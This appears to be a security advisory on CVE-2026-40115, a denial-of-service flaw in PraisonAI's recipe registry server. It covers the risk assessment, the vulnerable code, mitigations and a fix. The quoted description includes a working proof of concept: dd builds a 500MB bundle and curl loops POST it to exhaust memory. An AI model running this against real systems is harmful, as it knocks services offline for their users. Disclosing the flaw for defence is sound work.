PraisonAI's WSGI-based recipe registry server reads the entire HTTP request body into memory based on the client-supplied Content-Length header with no upper bound, and authentication is disabled by default unless explicitly configured via PRAISONAI_REGISTRY_TOKEN — meaning any local process can crash the server by uploading arbitrarily large bundles. While the CVSS 6.2 score and local-only attack vector (AV:L) limit direct internet exposure, shared environments, containers, and SSRF-vulnerable co-located services all meaningfully expand the realistic attack surface, and the package carries 31 other CVEs indicating a pattern of security debt worth factoring into your AI supply chain risk posture. A single ~500MB multipart POST exhausts gigabytes of RAM and causes OOM-kill on the registry process; repeated requests also silently fill disk at ~/.praison/registry/ with no quota enforcement. Patch to v4.5.128 immediately and set PRAISONAI_REGISTRY_TOKEN — the no-auth default should never be left in place on any shared host.
Risk Assessment
Medium risk (CVSS 6.2, AV:L/AC:L/PR:N/UI:N). The local attack vector significantly constrains exploitability — an attacker must have local process access or leverage SSRF from another co-located service. No authentication is required by default, removing any credential barrier for local attackers. Impact is limited to availability (A:H) with no confidentiality or integrity implications. In containerized or multi-tenant AI pipeline environments, the local process boundary is less meaningful and risk increases. Absence of EPSS data and CISA KEV listing suggests no observed in-the-wild exploitation, but the PoC is trivially simple (two curl commands) and the vulnerability requires zero AI/ML knowledge to exploit.
Attack Kill Chain
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| PraisonAI | pip | < 4.5.128 | 4.5.128 |
Do you use PraisonAI? You're affected.
Severity & Risk
Attack Surface
Recommended Action
- Patch: Upgrade to praisonai >= 4.5.128 which adds a 10MB request size limit to the WSGI server, matching serve.py's existing RequestSizeLimitMiddleware protection.
- Authentication: Set PRAISONAI_REGISTRY_TOKEN environment variable or pass --token to praisonai registry serve; the default no-auth configuration must never be used in any shared or production environment.
- Network binding: Verify the registry binds only to 127.0.0.1 (default) and is not exposed on 0.0.0.0 in container or VM deployments — audit docker-compose and systemd unit files.
- Defense-in-depth: Apply process-level memory limits (systemd MemoryMax, Docker --memory flag) to contain blast radius if exploited.
- If immediate patching is blocked, place a reverse proxy (nginx/caddy) in front of the registry enforcing client_max_body_size at 10MB.
- Disk quota: Monitor ~/.praison/registry/ disk usage; consider filesystem quotas on the user home directory.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-40115?
PraisonAI's WSGI-based recipe registry server reads the entire HTTP request body into memory based on the client-supplied Content-Length header with no upper bound, and authentication is disabled by default unless explicitly configured via PRAISONAI_REGISTRY_TOKEN — meaning any local process can crash the server by uploading arbitrarily large bundles. While the CVSS 6.2 score and local-only attack vector (AV:L) limit direct internet exposure, shared environments, containers, and SSRF-vulnerable co-located services all meaningfully expand the realistic attack surface, and the package carries 31 other CVEs indicating a pattern of security debt worth factoring into your AI supply chain risk posture. A single ~500MB multipart POST exhausts gigabytes of RAM and causes OOM-kill on the registry process; repeated requests also silently fill disk at ~/.praison/registry/ with no quota enforcement. Patch to v4.5.128 immediately and set PRAISONAI_REGISTRY_TOKEN — the no-auth default should never be left in place on any shared host.
Is CVE-2026-40115 actively exploited?
No confirmed active exploitation of CVE-2026-40115 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-40115?
1. Patch: Upgrade to praisonai >= 4.5.128 which adds a 10MB request size limit to the WSGI server, matching serve.py's existing RequestSizeLimitMiddleware protection. 2. Authentication: Set PRAISONAI_REGISTRY_TOKEN environment variable or pass --token to praisonai registry serve; the default no-auth configuration must never be used in any shared or production environment. 3. Network binding: Verify the registry binds only to 127.0.0.1 (default) and is not exposed on 0.0.0.0 in container or VM deployments — audit docker-compose and systemd unit files. 4. Defense-in-depth: Apply process-level memory limits (systemd MemoryMax, Docker --memory flag) to contain blast radius if exploited. 5. If immediate patching is blocked, place a reverse proxy (nginx/caddy) in front of the registry enforcing client_max_body_size at 10MB. 6. Disk quota: Monitor ~/.praison/registry/ disk usage; consider filesystem quotas on the user home directory.
What systems are affected by CVE-2026-40115?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI orchestration pipelines, model serving.
What is the CVSS score for CVE-2026-40115?
CVE-2026-40115 has a CVSS v3.1 base score of 6.2 (MEDIUM).
Technical Details
NVD Description
## Summary The WSGI-based recipe registry server (`server.py`) reads the entire HTTP request body into memory based on the client-supplied `Content-Length` header with no upper bound. Combined with authentication being disabled by default (no token configured), any local process can send arbitrarily large POST requests to exhaust server memory and cause a denial of service. The Starlette-based server (`serve.py`) has `RequestSizeLimitMiddleware` with a 10MB limit, but the WSGI server lacks any equivalent protection. ## Details The vulnerable code path in `src/praisonai/praisonai/recipe/server.py`: **1. No size limit on body read (line 551-555):** ```python content_length = int(environ.get("CONTENT_LENGTH", 0)) body = environ["wsgi.input"].read(content_length) if content_length > 0 else b"" ``` The `content_length` is taken directly from the HTTP header with no maximum check. The entire body is read into a single `bytes` object in memory. **2. Second in-memory copy via multipart parsing (line 169-172):** ```python result = {"fields": {}, "files": {}} boundary_bytes = f"--{boundary}".encode() parts = body.split(boundary_bytes) ``` The `_parse_multipart` method splits the already-buffered body and stores file contents in a dict, creating additional in-memory copies. **3. Third copy to temp file (line 420-421):** ```python with tempfile.NamedTemporaryFile(suffix=".praison", delete=False) as tmp: tmp.write(bundle_content) ``` The bundle content is then written to disk and persisted in the registry, also without size checks. **4. Authentication disabled by default (line 91-94):** ```python def _check_auth(self, headers: Dict[str, str]) -> bool: if not self.token: return True # No token configured = no auth ``` The `self.token` defaults to `None` unless `PRAISONAI_REGISTRY_TOKEN` is set or `--token` is passed on the CLI. The entry point is `praisonai registry serve` (cli/features/registry.py:176), which calls `run_server()` binding to `127.0.0.1:7777` by default. In contrast, `serve.py` (the Starlette server) has `RequestSizeLimitMiddleware` at line 725-732 enforcing a 10MB default limit. The WSGI server has no equivalent. ## PoC ```bash # Start the registry server with default settings (no auth, localhost) praisonai registry serve & # Step 1: Create a large bundle (~500MB) mkdir -p /tmp/dos-test echo '{"name":"dos","version":"1.0.0"}' > /tmp/dos-test/manifest.json dd if=/dev/zero of=/tmp/dos-test/pad bs=1M count=500 tar czf /tmp/dos-bundle.praison -C /tmp/dos-test . # Step 2: Upload — server buffers ~500MB into RAM with no limit curl -X POST http://127.0.0.1:7777/v1/recipes/dos/1.0.0 \ -F 'bundle=@/tmp/dos-bundle.praison' -F 'force=true' # Step 3: Repeat to exhaust memory for v in 1.0.{1..10}; do curl -X POST http://127.0.0.1:7777/v1/recipes/dos/$v \ -F 'bundle=@/tmp/dos-bundle.praison' & done # Server process will be OOM-killed ``` ## Impact - **Memory exhaustion**: A single large request can consume all available memory, crashing the server process (and potentially other processes via OOM killer). - **Disk exhaustion**: Repeated uploads persist bundles to disk at `~/.praison/registry/` with no quota, potentially filling the filesystem. - **No authentication barrier**: Default configuration requires no token, so any local process (including via SSRF from other services on the same host) can trigger this. - **Availability impact**: The registry server becomes unavailable, blocking recipe publish/download operations. The default bind address of `127.0.0.1` limits exploitability to local attackers or SSRF scenarios. If a user binds to `0.0.0.0` (common for shared environments or containers), the attack surface extends to the network. ## Recommended Fix Add a request size limit to the WSGI application, consistent with `serve.py`'s 10MB default: ```python # In create_wsgi_app(), before reading the body: MAX_REQUEST_SIZE = 10 * 1024 * 1024 # 10MB, matching serve.py def application(environ, start_response): # ... existing code ... # Read body with size limit try: content_length = int(environ.get("CONTENT_LENGTH", 0)) except (ValueError, TypeError): content_length = 0 if content_length > MAX_REQUEST_SIZE: status = "413 Request Entity Too Large" response_headers = [("Content-Type", "application/json")] body = json.dumps({ "error": { "code": "request_too_large", "message": f"Request body too large. Max: {MAX_REQUEST_SIZE} bytes" } }).encode() start_response(status, response_headers) return [body] body = environ["wsgi.input"].read(content_length) if content_length > 0 else b"" # ... rest of handler ... ``` Additionally, consider: - Adding a `--max-request-size` CLI flag to `praisonai registry serve` - Adding per-recipe disk quota enforcement in `LocalRegistry.publish()`
Exploitation Scenario
An attacker with local shell access (or exploiting SSRF from another co-located service such as a vulnerable LangChain web agent or Gradio app on the same host) targets the PraisonAI registry running on 127.0.0.1:7777 with default settings. Since no authentication token is configured, they craft a 500MB multipart POST to the recipe upload endpoint using a single curl command from the PoC. The WSGI server reads the entire body into RAM, then splits it again during multipart parsing, and writes it to a temp file — consuming 1–1.5GB per request. Sending 5–10 concurrent requests in a loop triggers OOM-kill on the registry process and potentially other services sharing the host's memory. In a CI/CD pipeline running PraisonAI agent workflows inside a shared container, this halts all recipe distribution and agent task orchestration, causing a full pipeline availability failure.
Weaknesses (CWE)
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H References
Timeline
Related Vulnerabilities
CVE-2026-39890 9.8 PraisonAI: YAML deserialization enables unauthenticated RCE
Same package: praisonai GHSA-vc46-vw85-3wvm 9.8 PraisonAI: RCE via malicious workflow YAML execution
Same package: praisonai GHSA-2763-cj5r-c79m 9.7 PraisonAI: RCE via shell injection in agent workflows
Same package: praisonai CVE-2026-40154 9.3 PraisonAI: supply chain RCE via unverified template exec
Same package: praisonai GHSA-8x8f-54wf-vv92 9.1 PraisonAI: auth bypass enables browser session hijack
Same package: praisonai
AI Threat Alert